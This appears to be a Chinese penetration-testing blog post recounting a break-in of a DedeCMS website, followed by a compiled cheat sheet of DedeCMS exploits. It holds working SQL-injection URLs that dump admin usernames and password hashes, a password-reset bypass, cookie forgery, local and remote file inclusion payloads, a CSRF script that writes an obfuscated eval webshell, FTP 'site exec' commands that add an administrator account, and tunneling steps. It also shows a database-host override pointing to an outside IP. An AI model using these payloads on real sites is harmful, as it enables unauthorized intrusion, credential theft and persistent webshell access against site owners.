Dedecms渗透测试流程及实战

前几天遇到了个挺坑的网站

是dedecms,一发现是它,我第一时间利用/data/admin/ver.txt
得到更新年份20170504查看官网的历史版本信息,发现是dedecms v7.5 sp2版本

记得这个版本存在前台search.php文件的注入漏洞、前台任意用户密码重置漏洞、前台cookie伪造登陆到管理员前台账号,再利用前台管理员用户重置后台管理员的密码。从而进入后台进行getshell 后台getshell比较简单就不说了。

ps:有时候后台默认文件被修改,可以利用各种标识文件tags.phpuploadsafe.inc.php进行后台目录的爆破(仅针对win系统)。
exp与原理分析可以看:https://www.cnblogs.com/zhaijiahui/p/8484667.html

当前这些的前提前台开启了注册功能,从v6.5开始就没有默认开启这个功能了,可以在后台开启。

回到正题,很遗憾,我测试的这个网站没有开启注册功能,这样没有前台用户的话,基本百分之九十八的洞基本无法实现。

暂时只能从注入入手,尝试了多处注入点,没有注入成功。
找下敏感文件了,/data/mysql_error_trace.inc,数据库错误日志文件。

在这个文件中很幸运得到一个前台账户密码。

然后登录会员中心
尝试任意文件上传漏洞
无法绕过上传木马文件
只是在个人中心页面更新logo页面上传了图片马

尝试前台cookie伪造漏洞
因为不为1的整数,所以无法cookie伪造为admin

尝试任意用户密码重置漏洞
利用/member/resetpassword.php文件得到key,这是临时的密码
然后利用临时密码重置admin管理员的密码。可惜前台登录admin报错,
并且爆破后台无果。

只能跳转思路,利用之前上传成功的图片马。利用plus/carbuyaction.php本地文件包含漏洞进行包含图片马的一句话。

成功利用getshell。

提权

权限很低,无法执行命令,连dir都无法回显。

利用mysql提权,找到数据库账号密码,连接进行udf提权,无果
无法调用cmd命令很多exp提权都不能使用。

扫端口,开了3389 21 135 14147

第一尝试135端口cpr服务漏洞,利用msf添加路由,直接use exp 然后run 无果

第二尝试3389 的shift多年前的输入法,crrl+shift快速切换提权。

第三尝试21与14147 21是ftp服务14147是FileZillaServer服务
,在webshel​​l找到FileZillaServer目录文件,得到其中的密码配置文件。得到FileZillaServer管理员账号密码。

第一,利用lcx.exe进行端来转发,把14147端口转发出来(因为本次环境不能执行命令,于是不能如此转发出来,利用reGeorg+proxifier代理出来)

参考链接https://blog.csdn.net/he_and/article/details/81260806

本机运行reGeorgSocksProxy.py -p端口-u http://192.168.200.141/haipeng/r/tunnel.nosocket.php

靶机运行http://192.168.200.141/haipeng/r/tunnel.nosocket.php

再利用Proxy全局代理工具把从靶机所有的流量转到本机开启的端口,这样我们就通过本机这个端口代理了靶机。

代理后本机下载FileZillaServer工具,添加共享目录,添加新用户。

再利用ftp工具连接账号

接下来就是利用ftp提权了。

替换掉system32和\system32\dllcache\目录下的sethc.exe替换覆盖为cmd.exe(重命名后的)在远程登录页面按5下shift调出cmd命令框。
我没有成功
.

.

.

待续

连接ftp,使用quote命令提权

quote site exec net user 用户名密码/add 添加一个用户

quote site exec net localhost administrators 用户名/add 把用户添加到系统管理员组

quote site exec tskill PID 在Windows 2003 中通过PID 关闭进程

quote site exec tskill notepad 在Windows 2003 中通过名称关闭同类的进程

quote site exec net stop iisadmin 停止iis 服务

quote site exec net start iisadmin 启动iis 服务

也无果

提权姿势参考https://www.cnblogs.com/dggsec/p/10126382.html

//———————————————— ——————————-
//—————– ————————————————– ————-

总结整理下dedecms一些高危漏洞。

离别歌的一篇文章。搬过来收藏下

dedecms plus/search.php 注入

步骤1:得到反馈
提交

/plus/search.php?keyword=as&typeArr[ uNion ]=a 和 http://www.newflash.tv/plus/search.php?keyword=as&typeArr[ uNion ]=a

我们得到如下反馈:

图片1

反馈为1时利用如下exp:

/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

得到列如下图错误(错误信息中存在被注入出的账号密码)

图片二

反馈为2时利用如下exp:

/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

爆出了账号密码

图片三

步骤2:破解密码

dede的后台密码加密算法大家可以下了整站看,这里直说解法:将得到的20位密文去掉开头三位,去掉末尾一位,即爲16位md5密码。

如拿到的0038c7ad73902a9f1d87去首三末一为8c7ad73902a9f1d8,破解出的密码是15858272308。

步骤3:查找后台地址

dede的後臺目錄可能改成任何名字,而且不需要插入數據庫,也就是說通過注入漏洞是無法爆出後臺地址的。不過網上有個簡單的方法,訪問 /data/mysql_error_trace.inc 裏面或許能得到後臺的相關信息。

如果这个方法失败,还可以通过google搜索的方法:构造site:bianminxueche.com intitle:后台等关键字搜索,也许能得到后台地址。

其他方法还有社工、暴力搜索等。

dedecms5.6 member/buy_action.php注入

完整payload:

当前数据库信息

/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select database()),(select 1),'4

查出表名

/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select table_name from information_schema.tables where table_schema=database() LIMIT 7,1),(select 1),'4

查出列名

http://192.168.1.130/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select column_name from information_schema.columns where table_name=0x646564655f61646d696e LIMIT 6,1),(select 1),'4

dedecms member/reg_new.php SQL注入漏洞

poc:

/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('個人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=

 //把vdcode=slum改成當前的驗證碼

DedeCMS 5.7_sp1 /member/buy_action.php SQL注入漏洞

访问buy_action.php文件,使用如下参数:

?product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
(如果不行可以試試post)

其中product和pid参数是为了让我们进入mchStrCode对传入数据进行编码的分支,a是为了配合上面提到的差异特性而随意添加的参数。从cfg_dbprefix开始,便是真正的SQL注入攻击代码。访问该URL后,在页面源码中找到pd_encode和pd_verify字段的值,由于用户Cookie和User-Agent不同,所获取的值也不同,我这里获取的值非别为

列如
pd_encode:FkBdXBdXFw4AWEtVFkVQVwUEQFMPCURXBVQ8XVtBWkAI AldWXT1ZBl4BXEtuX0VcQVlBD11cGDV8JmEmGQgMcFVlFFgVSRgTCV YWV1BeXh8WE0tQCldRTEIFTwFPChUFHAAVBRQCSgoeAU4FUxMla3Z8 dnRwJWYSey1hLWdLExAdc3p3cHlhThIaayd4JnA3GUlGVBVYXd4RlZ rDlYOW1xnQXtfGp4J2Z7dyxrMHArfHRwHnZxcmp0JWZ3aj1nJmcwGX WUIXRWMraWp0Y2ZwdwUBUgZQDVRRUlJSAF8IBAQBAQhWVAMKDgBSUg 0AARN9VlxQM0FXSitwXgFFfVxVVWBKVkp8Im1tWwl5BwZeD1wGCANa AgJUCFYHVRUnXF1UfFpeWlZhD19XBVMHWgBbCA0GAAwfd11RA35dXw taN1 oOXGZuU150Vw0IA1ELW1cDAQBaWg0CAwUBVg;

pd_verify:1c7ba5d2861959347d0c427684a6ad30。 

以这两个字段作为参数访问buy_action.php,URL为:

http://xxx//dedecms5.7_sp1_utf8/member/buy_action.php?pd_encode=FkBdXBdXFw4AWEtVFkVQVwUEQFMPCURXBVQ8XVtBQlBfWkAIAldWXT1ZBl4BXEtuX0VcQVlBD11cGDV8JmEmGQgMcFVlFFgVSRgTCVAHVwYWV1BeXh8WE0tQCldRTEIFTwFPChUFHAAVBRQCSgoeAU4FUxMla3Z8EB1qdnRwJWYSey1hLWdLExAdc3p3cHlhThIaayd4JnA3GUlGVBVYXd4RlZXXAdrDlYOW1xDEHlwfnFhRgIeCUsYJX8sdmsZYnR3dxAFTxgAEUtMQ3UxdnQReXtfGp4J2Z7dyxrMHArfHRwHnZxcmp0JWZ3aj1nJmcwGX5jf2BpE3psRkobWUIXRWMraWp0Y2ZwdwUBUgZQDVRRUlJSAF8IBAQBAQhWVAMKDgBSUgYBXw0AARN9VlxQM0FXSitwXgFFfVxVVWBKVkp8Im1tWwl5BwZeD1wGCANaUQAGAgJUCFYHVRUnXF1UfFpeWlZhD19XBVMHWgBbCA0GAAwfd11RA35dXwtaN1oOXGZuU150Vw0IA1ELW1cDAQBaWg0CAwUBVg&pd_verify=1c7ba5d2861959347d0c427684a6ad30 

DedeCMS 5.7 plus/guestbook.php 注入漏洞

  1. http://localhost/dedecms5.7/plus/guestbook.php
  2. [回覆/编辑]上可以看到访问者留言的ID。则记下ID,例如: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&id=1
  3. 访问: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&job=editok&msg=errs.cc ‘&id=1
  4. 提交后,如果是dede5.7版本的话,会出现”成功更改或回覆一条留言”,那就证明修改成功了
  5. 再返回到: http://localhost/dedecms5.7/plus/guestbook.php,看下改的那条留言内容是否变为了 errs.cc ‘如果是的话,那就证明此漏洞无法再利用应为他开启: php magic_quotes_gpc=off
  6. 如果没有修改成功,那留言ID的内容还是以前的,那就证明漏洞可以利用。
  7. 那么再次访问: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&job=editok&id=1&msg=’,msg=user(),email=’
  8. 然后返回,那条留言ID的内容就​​直接修改成了mysql 的user().

poc:

/plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' 

Dedecms /member/mtypes.php 注入漏洞

  1. 首先打开: http://127.0.0.1/dedecms5.5/member/mtypes.php
  2. 添加一个分类,记住ID(1),和原来的分类名称(fenlei)
  3. 然后打开: http://127.0.0.1/dedecms5.5/member/mtypes.php?dopost=save&mtypename [1′ or @ 'AND 1%3D1 and (select ‘r’)%3D’r’ and ‘1’% 3D’1]=4
    //将其中的1改成你的分类ID
  4. 结束之后打开之后返回: http://127.0.0.1/dedecms5.5/member/mtypes.php
    //如果(select ‘r’)=’r’的话那么分类名称就被改成了4!这样我们就能来判断是否满足条件了,二值判断注入

DedeCms flink.php注入漏洞

访问plus/flink.php

查版本

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

查密码

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

dedecms5.7 sp1版本存在远程文件包含漏洞

1.访问/install/index.php(index.php.bak),查看文件是否存在。

2.构造payload再次访问,此时清空config_update.php文件。

install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../data/admin/config_update.php

3.可以看到文件已经被清空,这时我们就可以利用变量覆盖来远程包含我们的文件了。

/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../shell.php&updateHost=http://127.0.0.1/

dedecms v5.6 plus/carbuyaction.php本地包含漏洞

Include/payment/yeepay.php
1.配合文件上传进行本地包含,上传图片马
2.利用cookie修改工具,加上code=alipay

然后访问

 plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg

dedecms v5.7 sp2 前台COOKIE伪造登录绕过漏洞

利用注册一个用户名与管理员用户的mid一样的整数。如管理员的mid为1,我们注册一个用户名0001的用户

访问访问/member/index.php?uid=0001,获取last_vid__ckMd5的值

接下来使用0001账号登录,登录后修改的cookie。
将last_vid的值赋给DedeUserID,last_vidckMd5的值赋给DedeUserIDckMd5
刷新即可登录到admin管理员的前台用户。

再利用前台密码修改重置后台管理员密码
登录前台管理员账号,进入管理空间,修改新密码即可

当然还有可以

dedecms v5.7 sp2 前台重置管理员前台密码

第一步:访问链接:

http://xxxx/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanwser=&id=1

http://xxxx/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?i=0.0&dopost=safequestion&safequestion=0.0&safeanswer=&id=1

http://xxxx/DedeCMS-V5.7-UTF8-SP2/member/resetpassword.php?dopost=safequestion&safequestion=0e1&safeanwser=&id=1


URL:http://xxxx/DedeCMS-V5.7-UTF8-SP2/member/resetpassword.php
POST:dopost=safequestion&safequestion=0.0&safeanswer=&id=用戶ID

id为管理员id,得到key的值,当无法重置管理原密码可以试试post方式

第二步:再访问:

http://xxxx/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=getpasswd&id=1&key=gnUckBp3

dedeCMS V5.7 SP2前台文件上传漏洞#

登录到前台会员中心
进入内容中心,在文章发表处可以发表文章,在下面的编辑器可以上传图片
抓包修改1.jpg为1.jpg.p*hp
上传成功返回上传路径

dedecms最新友情链接getshell漏洞

先上exp:
新建exp.php文件内容如下:

<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede後臺的路徑
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>

这里利用csrf漏洞使管理员点击我们构造的链接,然后以管理员的权限写了一个shell.lib.php的一句话文件

然后我们在前台的友情链接处添加友情链接。管理原点击,触发漏洞

织梦(DedeCms) v5.6-5.7 越权访问漏洞(直接进入后台)

http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS] [cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

把上面validate=dcug改为当前的验证码,即可直接进入网站后台

此漏洞的前提是必须得到后台路径才能实现

记录:
织梦(dedecms)全版本注入工具
链接:https://pan.baidu.com/s/10vI3yRu35ZNGdKtmgs4DCA密码:0yv0

https://www.secpulse.com/archives/22816.html
common.inc.php注入
https://www.leavesongs.com/PENETRATION/UseOfDede0day.html
plus/search.php注入
织梦dedecms留言板注入漏洞edit .inc.php

About hackgoo 110 Articles
渗透测试人员,信息安全维护 主要技能web安全,linux运维 站在巨人的肩膀上,在学习中进步,在进步中学习,低调求生存 极客谷保留所有权利,转载请注明出处

Be the first to comment

Leave a Reply

Your email address will not be published.


*